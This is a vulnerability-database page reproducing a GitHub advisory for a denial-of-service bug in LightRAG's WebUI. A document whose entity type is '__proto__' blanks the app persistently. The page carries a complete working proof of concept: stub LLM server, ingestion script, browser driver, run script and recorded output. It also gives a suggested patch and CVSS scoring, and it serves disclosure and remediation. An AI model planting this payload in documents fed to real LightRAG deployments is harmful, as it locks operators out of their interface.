llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · lightrag-hku

GHSA-2XXV-6Q6H-V72V

Uncaught Exception Denial of Service via __proto__ Entity Type in LightRAG WebUI

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.7
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -3 d de la divulgación
Exposición77 dDesde la divulgación, 4 sept 2026, 8:13 p. m.
Detección74 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 1.5.7
Monitoreo
Detectada +1
2 sept 26
5 sept 26
18 nov 26
21 nov 26
2 sept 26
22 sept 26
12 oct 26
1 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.5.7 lightrag-hku · -3 d desde divulgación
Divulgación Publicada GHSA-2XXV-6Q6H-V72V divulgada · CVSS 5.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

An entity whose `entity_type` is `__proto__` or `constructor` makes the WebUI's Knowledge Graph tab
throw `TypeError: e.toLowerCase is not a function` during render. There is no error boundary anywhere
in `lightrag_webui/src`, so React tears down the whole app: `#root` goes to zero children and the page
is blank — no tabs, no navigation, no settings. The bad entity type is stored in the graph and the
`showLegend` flag that triggers the render lives in `localStorage`, so reloading does not help. I got
this from one ordinary `POST /documents/text`; the type came out of the LLM's extraction of the
document text, which is the input a RAG system is built to accept from strangers.

This is not prototype pollution. Nothing writes to `Object.prototype`. I printed
`Object.getOwnPropertyNames(Object.prototype).length` in the page and in Node on every probe and it
stayed at 12. The bug is the mirror image: an unguarded *read* of an inherited property off a plain
object, which yields a non-string that later code assumes is a string. Please don't route it to a
`CWE-1321` triage path — the fix is different and the pollution mitigations don't apply.

Details

Affected component

  • File: `lightrag_webui/src/utils/graphColor.ts:189` (the unguarded read) and
  • Entrypoint: `POST /documents/text`, then the victim opens `/webui/` → Knowledge Graph
  • Parameter: the extracted `entity_type` of any node in the graph
  • Precondition: the victim must have the legend switched on. `showLegend` defaults to `false`

`TYPE_SYNONYMS` is an object literal, so it inherits from `Object.prototype`:

// lightrag_webui/src/utils/graphColor.ts:3
const TYPE_SYNONYMS: Record<string, string> = {
  unknown: 'unknown',
  ...

`resolveNodeColor` indexes it with the entity type, with no `hasOwnProperty` check:

// lightrag_webui/src/utils/graphColor.ts:188-190
  const normalizedType = nodeType ? nodeType.toLowerCase() : 'unknown'
  const standardType = TYPE_SYNONYMS[normalizedType]
  const cacheKey = standardType || normalizedType

For `entity_type = "__proto__"`, `standardType` is `Object.prototype` (an object); for
`"constructor"` it is the `Object` function. Both are truthy, so the `if (standardType)` branch is
taken and the non-string goes in as a `Map` key:

// lightrag_webui/src/utils/graphColor.ts:201-203
    const color = NODE_TYPE_COLORS[standardType] || DEFAULT_NODE_COLOR
    const newMap = new Map(typeColorMap)
    newMap.set(standardType, color)

The Legend iterates that map and calls a string method on every key:

// lightrag_webui/src/components/graph/Legend.tsx:24-31
          {Array.from(typeColorMap.entries()).map(([type, color]) => (
            ...
              <span className="text-xs truncate" title={type}>
                {t(`graphPanel.nodeTypes.${type.toLowerCase().replace(/\s+/g, '')}`, type)}

`type.toLowerCase()` throws. Because the throw happens inside render and nothing catches it, React
unmounts the tree. I grepped `lightrag_webui/src` for `ErrorBoundary`, `componentDidCatch` and
`getDerivedStateFromError` at `b33c6b0` and got zero hits in zero files — that absence is what turns a
broken legend panel into a blank application.

Only `__proto__` and `constructor` work, and the reason is line 188: `.toLowerCase()` runs before the
lookup, so `toString`, `valueOf`, `hasOwnProperty` and `isPrototypeOf` arrive as `tostring`,
`valueof`, `hasownproperty`, `isprototypeof` and miss the prototype. The trigger matrix in Part A of
the PoC shows all eight.

Server-side there is nothing in the way. The extraction validator rejects seven characters and `_` is
not one of them:

# lightrag/operate.py:643-645
        if not entity_type.strip() or any(
            char in entity_type for char in ["'", "(", ")", "<", ">", "|", "/", "\\"]
        ):

and the next transform only strips spaces and lowercases, which `__proto__` survives unchanged:

# lightrag/operate.py:667
        entity_type = entity_type.replace(" ", "").lower()

Root cause

POST /documents/text (untrusted document text)
  → LLM extraction picks entity_type from the document
  → operate.py:643-645 blocklist has no '_' → '__proto__' stored on the node
  → GET /graphs serves it → useLightragGraph.tsx:266 typeColors.colorFor(entity_type)
  → graphColor.ts:189 TYPE_SYNONYMS['__proto__'] returns the INHERITED Object.prototype
  → graphColor.ts:203 newMap.set(Object.prototype, color) → non-string Map key
  → Legend.tsx:31 type.toLowerCase() throws inside render
  → no error boundary in lightrag_webui/src → React unmounts #root → blank app,
    and showLegend:true is persisted, so every reload repeats it

Proof of Concept

Both parts ran end to end in an empty directory. Recorded: `hunt poc-run`, `bash poc.sh`, exit 0,
five runs, 84-105s each, same result every time. Versions from the recorded
`pip freeze`: `lightrag-hku==1.5.6`, `fastapi==0.141.1`, `uvicorn==0.52.1`, `openai==2.53.0`,
`tiktoken==0.13.0`, `numpy==2.2.6`, Python 3.10.1 on Windows 11. Browser side: Node v20.16.0, `playwright-core@1.62.1`, `esbuild@0.28.2`, real
Chrome 151.0.7922.77 driven over CDP. No `alert()`/`confirm()`/`prompt()` anywhere; the markers are
console output.

Setup
mkdir lr-f020 && cd lr-f020
python -m venv .venv
./.venv/Scripts/python.exe -m pip install "lightrag-hku[api]==1.5.6"   # .venv/bin/python on Linux/macOS
npm install playwright-core@1.62.1 esbuild@0.28.2

`npm install` writes `package.json` for you but leaves out `"type": "module"`, which Node needs to
load the `.mjs` drivers. Add it, so the file ends up exactly like mine:

{"name":"lr-f020-poc","private":true,"type":"module","dependencies":{"esbuild":"^0.28.2","playwright-core":"1.62.1"}}

`.env`, next to the venv:

LIGHTRAG_API_KEY=poc-key-9691
HOST=127.0.0.1
PORT=9691
WORKING_DIR=./rag
INPUT_DIR=./inputs
LLM_BINDING=openai
LLM_MODEL=gpt-4o-mini
LLM_BINDING_HOST=http://127.0.0.1:9695/v1
LLM_BINDING_API_KEY=stub
EMBEDDING_BINDING=openai
EMBEDDING_MODEL=text-embedding-3-small
EMBEDDING_BINDING_HOST=http://127.0.0.1:9695/v1
EMBEDDING_BINDING_API_KEY=stub
EMBEDDING_DIM=1536

`stub.py` — a stand-in for the LLM and embedding backend so the PoC needs no API key and no outbound
network. It returns LightRAG's v1.5.6 extraction format; the second entity's type comes from
`entity.json`, which is how the run switches between the control document and the payload one:

"""Minimal OpenAI-compatible stand-in for the LLM + embedding backend, so this
PoC needs no API key and no network. It answers /v1/models, /v1/embeddings and
/v1/chat/completions. Every completion returns two entities and one relation in
LightRAG's v1.5.6 extraction format (field delimiter <|#|>, one record per line).
The second entity's name and entity_type are read from entity.json on each call,
which is how the run switches between the control document and the payload one.
"""
import hashlib
import json
import os

HERE = os.path.dirname(os.path.abspath(__file__))
TD = "<|#|>"
EMBED_DIM = 1536


def _vec(text):
    h = hashlib.sha256(text.encode("utf-8", "replace")).digest()
    out = []
    while len(out) < EMBED_DIM:
        for b in h:
            out.append((b - 128) / 128.0)
            if len(out) >= EMBED_DIM:
                break
        h = hashlib.sha256(h).digest()
    return out


async def _read(receive):
    buf = b""
    while True:
        m = await receive()
        buf += m.get("body", b"") or b""
        if not m.get("more_body"):
            break
    return buf


async def _json(send, obj):
    body = json.dumps(obj).encode()
    await send({"type": "http.response.start", "status": 200,
                "headers": [(b"content-type", b"application/json"),
                            (b"content-length", str(len(body)).encode())]})
    await send({"type": "http.response.body", "body": body})


async def app(scope, receive, send):
    if scope["type"] != "http":
        return
    path = scope["path"]
    raw = await _read(receive)
    try:
        payload = json.loads(raw or b"{}")
    except ValueError:
        payload = {}

    if path.endswith("/models"):
        return await _json(send, {"object": "list", "data": [
            {"id": "gpt-4o-mini", "object": "model", "owned_by": "stub"},
            {"id": "text-embedding-3-small", "object": "model", "owned_by": "stub"}]})

    if path.endswith("/embeddings"):
        inp = payload.get("input")
        if isinstance(inp, str):
            inp = [inp]
        if not isinstance(inp, list):
            inp = [""]
        texts = [t if isinstance(t, str) else json.dumps(t) for t in inp]
        return await _json(send, {
            "object": "list", "model": payload.get("model", "text-embedding-3-small"),
            "data": [{"object": "embedding", "index": i, "embedding": _vec(t)}
                     for i, t in enumerate(texts)],
            "usage": {"prompt_tokens": len(texts), "total_tokens": len(texts)}})

    spec = json.load(open(os.path.join(HERE, "entity.json"), encoding="utf-8"))
    person, org, etype = spec["person"], spec["org"], spec["entity_type"]
    completion = (
        f"entity{TD}{person}{TD}person{TD}{person} is an employee of {org}\n"
        f"entity{TD}{org}{TD}{etype}{TD}{org} is described in the document\n"
        f"relation{TD}{person}{TD}{org}{TD}employment{TD}{person} works at {org}\n"
        "<|COMPLETE|>"
    )
    return await _json(send, {
        "id": "chatcmpl-stub", "object": "chat.completion", "created": 0,
        "model": payload.get("model", "gpt-4o-mini"),
        "choices": [{"index": 0, "finish_reason": "stop",
                     "message": {"role": "assistant", "content": completion}}],
        "usage": {"prompt_tokens": 1, "completion_tokens": 1, "total_tokens": 2}})

`ingest.py` — posts one document through the public API and waits for the graph to catch up:

"""Ingest one document through the normal document API and wait for the graph to
contain the extracted entity.

Usage: python ingest.py <person> <org> <entity_type> "<document text>"

<entity_type> is what the stub LLM will extract for <org> -- it stands in for a
type the model read out of the document. Nothing here writes to storage directly
and no admin-only route is used.
"""
import json
import sys
import time
import urllib.request

BASE = "http://127.0.0.1:9691"
KEY = "poc-key-9691"
person, org, etype, text = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]

with open("entity.json", "w", encoding="utf-8") as fh:
    json.dump({"person": person, "org": org, "entity_type": etype}, fh)


def call(path, body=None):
    req = urllib.request.Request(
        BASE + path,
        data=None if body is None else json.dumps(body).encode(),
        headers={"X-API-Key": KEY, "Content-Type": "application/json"},
        method="GET" if body is None else "POST")
    with urllib.request.urlopen(req, timeout=120) as r:
        return r.status, json.loads(r.read().decode())


source = person.lower() + ".txt"   # distinct per document: a repeated file_source is rejected with 409
st, resp = call("/documents/text", {"text": text, "file_source": source})
print(f"POST /documents/text ({source}) -> {st} {resp.get('status')}")

nodes = []
for _ in range(120):
    time.sleep(2)
    _, status = call("/documents/pipeline_status")
    if status.get("busy"):
        continue
    _, g = call("/graphs?label=%2A&max_depth=3&max_nodes=100")
    nodes = g.get("nodes", [])
    if any(n["id"] == org for n in nodes):
        break
for n in nodes:
    print(f"  node {n['id']!r} -> entity_type={n.get('properties', {}).get('entity_type')!r}")

`driver.mjs` — Part A, the sink with no browser and no server:

// Drives the project's own resolveNodeColor() and then applies the exact
// expression the Legend renders for every Map key, for a handful of entity
// types. No browser, no server, no LLM.
import { resolveNodeColor } from './graphColor.mjs';

const before = Object.getOwnPropertyNames(Object.prototype).length;
const types = ['person', 'organization', '__proto__', 'constructor',
               'toString', 'valueOf', 'hasOwnProperty', 'isPrototypeOf'];

for (const t of types) {
  const { map } = resolveNodeColor(t, undefined);
  const keys = [...map.keys()];
  let legend;
  try {
    // Legend.tsx:31 -- t(`graphPanel.nodeTypes.${type.toLowerCase().replace(/\s+/g, '')}`, type)
    legend = 'ok: ' + keys.map((k) => k.toLowerCase().replace(/\s+/g, '')).join(',');
  } catch (e) {
    legend = 'THROWS ' + e.name + ': ' + e.message;
  }
  console.log(t.padEnd(16) + 'mapKeyTypes=' + JSON.stringify(keys.map((k) => typeof k)).padEnd(14) + legend);
}

const after = Object.getOwnPropertyNames(Object.prototype).length;
console.log(`Object.prototype own properties: before=${before} after=${after}`);

`check.mjs` — Part B, drives real Chrome and reports whether the app is alive:

// Drives real Chrome over CDP and reports whether the LightRAG SPA is alive.
// Usage: node check.mjs <label> [--fresh] [--toggle-legend]
//   --fresh          wipe ./chrome-profile first (start as a brand new visitor)
//   --toggle-legend  click the legend button in the UI (BookOpenIcon, default off)
// Markers are console output only: no alert(), no confirm(), no prompt().
import { chromium } from 'playwright-core';
import fs from 'fs';

const CHROME = process.env.CHROME_PATH || 'C:/Program Files/Google/Chrome/Application/chrome.exe';
const BASE = process.env.LIGHTRAG_BASE || 'http://127.0.0.1:9691';
const API_KEY = process.env.LIGHTRAG_API_KEY || 'poc-key-9691';
const PROFILE = './chrome-profile';   // persistent, so localStorage survives a reload

const label = process.argv[2] || 'run';
const fresh = process.argv.includes('--fresh');
const toggle = process.argv.includes('--toggle-legend');

if (fresh) fs.rmSync(PROFILE, { recursive: true, force: true });

const ctx = await chromium.launchPersistentContext(PROFILE, {
  executablePath: CHROME, headless: true, viewport: { width: 1440, height: 900 }
});
const page = ctx.pages()[0] || await ctx.newPage();
const errs = [];
page.on('pageerror', e => errs.push((e.stack || e.message).split('\n').slice(0, 4).join('\n')));

// Only the API key is seeded, exactly as if the operator had typed it once.
// showLegend is left at the application default (false) and switched through the UI below.
await page.addInitScript(`if (!localStorage.getItem('settings-storage')) localStorage.setItem(
  'settings-storage', JSON.stringify({ state: { apiKey: ${JSON.stringify(API_KEY)},
  currentTab: 'knowledge-graph', language: 'en', theme: 'light', queryLabel: '*',
  enableHealthCheck: false }, version: 20 }));`);

await page.goto(BASE + '/webui/', { waitUntil: 'domcontentloaded' });
await page.waitForTimeout(8000);

let toggled = 'skipped';
if (toggle) {
  // wait for the graph canvas so the toolbar has finished mounting, then click the
  // BookOpenIcon button and confirm the persisted flag actually flipped.
  await page.waitForSelector('canvas', { timeout: 30000 }).catch(() => {});
  const btn = page.locator('button:has(svg.lucide-book-open)').first();
  try {
    await btn.click({ timeout: 15000, force: true });
  } catch (e) { toggled = 'click-error: ' + e.message.slice(0, 60); }
  await page.waitForTimeout(5000);
  const on = await page.evaluate(() =>
    JSON.parse(localStorage.getItem('settings-storage') || '{}').state?.showLegend === true);
  if (toggled === 'skipped') toggled = on ? 'clicked, showLegend=true' : 'clicked, showLegend still false';
}

const s = await page.evaluate(() => ({
  bodyLen: (document.body.innerText || '').length,
  canvas: document.querySelectorAll('canvas').length,
  rootChildren: document.getElementById('root')?.childElementCount ?? -1,
  showLegend: JSON.parse(localStorage.getItem('settings-storage') || '{}').state?.showLegend,
  protoOwnProps: Object.getOwnPropertyNames(Object.prototype).length,
  text: (document.body.innerText || '').slice(0, 240).replace(/\n/g, ' | ')
}));

await page.screenshot({ path: `shot-${label}.png` });
console.log(`--- phase=${label} legendToggle=${toggled}`);
console.log('state: ' + JSON.stringify(s));
console.log('pageerrors: ' + (errs.join('\n---\n') || '(none)'));
await ctx.close();

`poc.sh` — the whole run:

#!/usr/bin/env bash
# LR-F020 proof of concept. Terminal A (stub) and terminal B (lightrag-server)
# must already be running. Run this in terminal C.
set -eu
PY=./.venv/Scripts/python.exe          # Windows
[ -x "$PY" ] || PY=./.venv/bin/python  # Linux / macOS
COMMIT=b33c6b0812cddf39206e48a9810112e51f025274

echo "=== Part A: the sink on its own, straight from the repository ==="
curl -sS -o graphColor.ts \
  "https://raw.githubusercontent.com/HKUDS/LightRAG/$COMMIT/lightrag_webui/src/utils/graphColor.ts"
./node_modules/.bin/esbuild graphColor.ts --format=esm --outfile=graphColor.mjs >/dev/null
node driver.mjs

echo
echo "=== Part B1: control document, entity_type 'organization' ==="
"$PY" ingest.py "ALICE" "ACME CORP" "organization" \
  "Alice is an employee at Acme Corp. Acme Corp is a manufacturing company."
node check.mjs control --fresh --toggle-legend

echo
echo "=== Part B2: same instance, same pipeline, entity_type '__proto__' ==="
"$PY" ingest.py "BOB" "GLOBEX LTD" "__proto__" \
  "Bob is an employee at Globex Ltd. Globex Ltd supplies industrial equipment."
node check.mjs payload

echo
echo "=== Part B3: the victim reloads three times ==="
for n in 1 2 3; do node check.mjs "reload$n" | grep -E '^state|^pageerrors'; done

echo
echo "=== Part B4: same poisoned graph, legend never switched on ==="
node check.mjs legend-off --fresh
Running it

Three terminals, all in `lr-f020`:

# terminal A — the stub backend, leave it running
./.venv/Scripts/python.exe -m uvicorn stub:app --host 127.0.0.1 --port 9695

# terminal B — LightRAG, leave it running (takes ~45s to reach "Application startup complete")
export PYTHONUTF8=1 PYTHONIOENCODING=utf-8
./.venv/Scripts/python.exe -m lightrag.api.lightrag_server

# terminal C — the proof
echo '{"person":"ALICE","org":"ACME CORP","entity_type":"organization"}' > entity.json
bash poc.sh

Observed (pasted verbatim from the recorded run):

=== Part A: the sink on its own, straight from the repository ===
person          mapKeyTypes=["string"]    ok: person
organization    mapKeyTypes=["string"]    ok: organization
__proto__       mapKeyTypes=["object"]    THROWS TypeError: k.toLowerCase is not a function
constructor     mapKeyTypes=["function"]  THROWS TypeError: k.toLowerCase is not a function
toString        mapKeyTypes=["string"]    ok: tostring
valueOf         mapKeyTypes=["string"]    ok: valueof
hasOwnProperty  mapKeyTypes=["string"]    ok: hasownproperty
isPrototypeOf   mapKeyTypes=["string"]    ok: isprototypeof
Object.prototype own properties: before=12 after=12

=== Part B1: control document, entity_type 'organization' ===
POST /documents/text (alice.txt) -> 200 success
  node 'ALICE' -> entity_type='person'
  node 'ACME CORP' -> entity_type='organization'
--- phase=control legendToggle=clicked, showLegend=true
state: {"bodyLen":121,"canvas":7,"rootChildren":2,"showLegend":true,"protoOwnProps":12,"text":"LightRAG | Documents | Knowledge Graph | Retrieval | API | Login Free | v1.5.6/0328 | * | Legend | Person | Organization | D: 3 | node: 2 | edge: 1"}
pageerrors: (none)

=== Part B2: same instance, same pipeline, entity_type '__proto__' ===
POST /documents/text (bob.txt) -> 200 success
  node 'ALICE' -> entity_type='person'
  node 'ACME CORP' -> entity_type='organization'
  node 'BOB' -> entity_type='person'
  node 'GLOBEX LTD' -> entity_type='__proto__'
--- phase=payload legendToggle=skipped
state: {"bodyLen":0,"canvas":0,"rootChildren":0,"showLegend":true,"protoOwnProps":12,"text":""}
pageerrors: TypeError: e.toLowerCase is not a function
    at http://127.0.0.1:9691/webui/assets/index-DGOvI4Sh.js:877:21225
    at Array.map (<anonymous>)
    at Zoe (http://127.0.0.1:9691/webui/assets/index-DGOvI4Sh.js:877:20978)

=== Part B3: the victim reloads three times ===
state: {"bodyLen":0,"canvas":0,"rootChildren":0,"showLegend":true,"protoOwnProps":12,"text":""}
pageerrors: TypeError: e.toLowerCase is not a function
state: {"bodyLen":0,"canvas":0,"rootChildren":0,"showLegend":true,"protoOwnProps":12,"text":""}
pageerrors: TypeError: e.toLowerCase is not a function
state: {"bodyLen":0,"canvas":0,"rootChildren":0,"showLegend":true,"protoOwnProps":12,"text":""}
pageerrors: TypeError: e.toLowerCase is not a function

=== Part B4: same poisoned graph, legend never switched on ===
--- phase=legend-off legendToggle=skipped
state: {"bodyLen":94,"canvas":7,"rootChildren":2,"protoOwnProps":12,"text":"LightRAG | Documents | Knowledge Graph | Retrieval | API | Login Free | v1.5.6/0328 | * | D: 3 | node: 4 | edge: 2"}
pageerrors: (none)

`index-DGOvI4Sh.js:877:21225` is the minified `Legend.tsx:31`. Worth being precise about which build
that is: the repository tree carries no compiled WebUI, but the `lightrag-hku` 1.5.6 wheel ships one
at `lightrag/api/webui/assets/`, and that shipped bundle is what my run loaded — an operator who
`pip install`s gets exactly these bytes. The offsets belong to that artifact. Rebuild `lightrag_webui`
with `vite build` and both the file name and the offsets change; the throw does not.

Expected: an unrecognised entity type falls through to `DEFAULT_NODE_COLOR` and appears in the
legend as a plain string, exactly as `Part B1` shows for `organization`. At worst a single legend row
should look wrong; the application should not unmount.

Negative controls, two of them. `Part B1` is the same instance, same pipeline, same code path,
one document earlier: `rootChildren=2`, seven canvases, 121 characters of UI text, no page errors.
The only difference in `Part B2` is the entity type the model extracted. `Part B4` is the other
direction — the poisoned node is still in the graph (`node: 4 | edge: 2`), but the browser profile is
new so `showLegend` is back at its default, and the app renders normally with no page error.

Failure modes I hit while building this, and what they look like:

| Symptom | Cause | Fix |
|---|---|---|
| `HTTP Error 409: Conflict` from `ingest.py` | `file_source` reused; same-name documents are rejected | use a distinct `file_source` per document (the script derives it from the person's name) |
| `EOFError` at `check_env_file()` on startup | no `.env` in the working directory; the server prompts interactively | create the `.env` above before starting terminal B |
| `clicked, showLegend still false` in `Part B1` | the toolbar had not mounted, so the click missed the button | raise the `waitForSelector('canvas')` timeout in `check.mjs` |
| `pageerrors: (none)` in `Part B2` | `showLegend` is `false` — `Part B1` did not toggle it, or `chrome-profile` was wiped in between | re-run `Part B1` with `--toggle-legend`, then `Part B2` without `--fresh` |
| `esbuild: "loader" without extension only applies when reading from stdin` | `--loader=ts` passed alongside a `.ts` file | drop `--loader`; the extension is enough |

Impact

An operator who has switched the legend on loses the whole WebUI — Documents, Retrieval, API,
settings, everything, not just the graph panel — the moment the graph containing the bad node loads.
Blank page, and it stays blank: I reloaded three times in a persistent Chrome profile and got the
same `TypeError` each time. Runtime-confirmed. Colleagues who never touched the legend keep
working normally, which `Part B4` shows on the same poisoned graph, so this hits a subset of users
rather than everyone.

Recovery is the part I would weigh most heavily. The switch that would turn the legend back off is
inside the UI that just unmounted, so a victim cannot click their way out. They have to clear site
data for the origin, or someone has to remove the entity type from the graph store out of band. A
non-technical user reading "the LightRAG page is blank" has no obvious move.

The attacker position is ordinary. `entity_type` is whatever the LLM writes down while extracting the
document, so the payload rides in on the text of a document — a PDF a customer uploads, a page a
crawler ingests, a shared corpus. I proved that path: one `POST /documents/text` with no privileged
route, no storage tampering, and the graph came back with `'GLOBEX LTD' -> entity_type='__proto__'`
while `'ALICE'` in the same run stayed `'person'`. Whether a given production model can be steered
into emitting `__proto__` for an entity is prompt-injection territory and I did not test it; my run
used a stub model, so read the ingestion vector as *the pipeline accepts and stores it end to end*,
which is the half that lives in this codebase.

Nothing is read or written that the attacker could not already reach, and nothing escapes the
browser: I watched `Object.getOwnPropertyNames(Object.prototype).length` stay at 12 in every probe.
This is availability only.

Scoring. `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H` = 5.7. `AV:N` — everything is HTTP.
`AC:L` — no race, no timing, no preparation; the payload works first try. `PR:L` — on my instance
`POST /documents/text` returned 403 without `X-API-Key` and 200 with it. `UI:R` — the victim has to
open the WebUI. `S:U` — nothing crosses an authority boundary. `C:N/I:N/A:H` — the app is unusable
and stays that way. I scored the keyed configuration deliberately, so `PR:L` is the number I stand
behind. One alternate reading is defensible and I would not argue with it: treat the legend toggle as
a precondition the attacker cannot control, score it `AC:H`, and you get 4.8.

Suggested fix

The codebase already has the idiom for this, one file over in the same feature, under a comment that
describes this exact hazard:

// lightrag_webui/src/hooks/useLightragGraph.tsx:175-181
    // Null-prototype objects: node ids come from extracted entity names, so
    // they can collide with Object.prototype properties. On a plain object,
    // `map['__proto__'] = i` silently does NOT create an own property, and
    // `map['constructor']` for a missing key returns an inherited function
    // instead of undefined.
    const nodeIdMap: Record<string, number> = Object.create(null)
    const edgeIdMap: Record<string, number> = Object.create(null)

`graphColor.ts` is the module that missed it. Guarding the lookup is the primary fix:

--- a/lightrag_webui/src/utils/graphColor.ts
+++ b/lightrag_webui/src/utils/graphColor.ts
@@ -187,4 +187,6 @@
   const typeColorMap = currentMap ?? new Map<string, string>()
   const normalizedType = nodeType ? nodeType.toLowerCase() : 'unknown'
-  const standardType = TYPE_SYNONYMS[normalizedType]
+  const standardType = Object.prototype.hasOwnProperty.call(TYPE_SYNONYMS, normalizedType)
+    ? TYPE_SYNONYMS[normalizedType]
+    : undefined
   const cacheKey = standardType || normalizedType

I applied that hunk to a copy of the file, rebuilt it with the same esbuild step as Part A and re-ran
the driver: `__proto__` and `constructor` come back as ordinary string map keys and the legend
expression stops throwing. Both hunks in this section apply cleanly to `v1.5.6` with `git apply`.

Building `TYPE_SYNONYMS` and `NODE_TYPE_COLORS` with `Object.create(null)` instead would fix both
lookups in that file and match the convention above. `NODE_TYPE_COLORS[standardType]` at line 201 has
the same shape; it is harmless today only because the `|| DEFAULT_NODE_COLOR` fallback swallows the
inherited value.

Two more, worth doing regardless:

--- a/lightrag_webui/src/components/graph/Legend.tsx
+++ b/lightrag_webui/src/components/graph/Legend.tsx
@@ -28,7 +28,7 @@ const Legend: React.FC<LegendProps> = ({ className }) => {
                 style={{ backgroundColor: color }}
               />
               <span className="text-xs truncate" title={type}>
-                {t(`graphPanel.nodeTypes.${type.toLowerCase().replace(/\s+/g, '')}`, type)}
+                {t(`graphPanel.nodeTypes.${String(type).toLowerCase().replace(/\s+/g, '')}`, type)}
               </span>
             </div>
           ))}

and an error boundary around the graph panel. There is none in `lightrag_webui/src` today, so any
render-time throw anywhere in the app takes the whole SPA down. That is the difference between this
bug being a cosmetic glitch and being a blank page the user cannot recover from.

If you also want the value rejected at the source, `operate.py:643` is the place — validating
`entity_type` against the known synonym set, or refusing `Object.prototype` member names, would stop
it before it is stored.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
lightrag-hku≤ 1.5.6
1.5.6
1.5.7
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypilightrag-hku
Corregida 1.5.7 -3 d 1.5.7 no afectada
Versiones corregidas1.5.7
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/HKUDS/LightRAG/security/advisories/GHSA-2xxv-6q6h-v72v

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.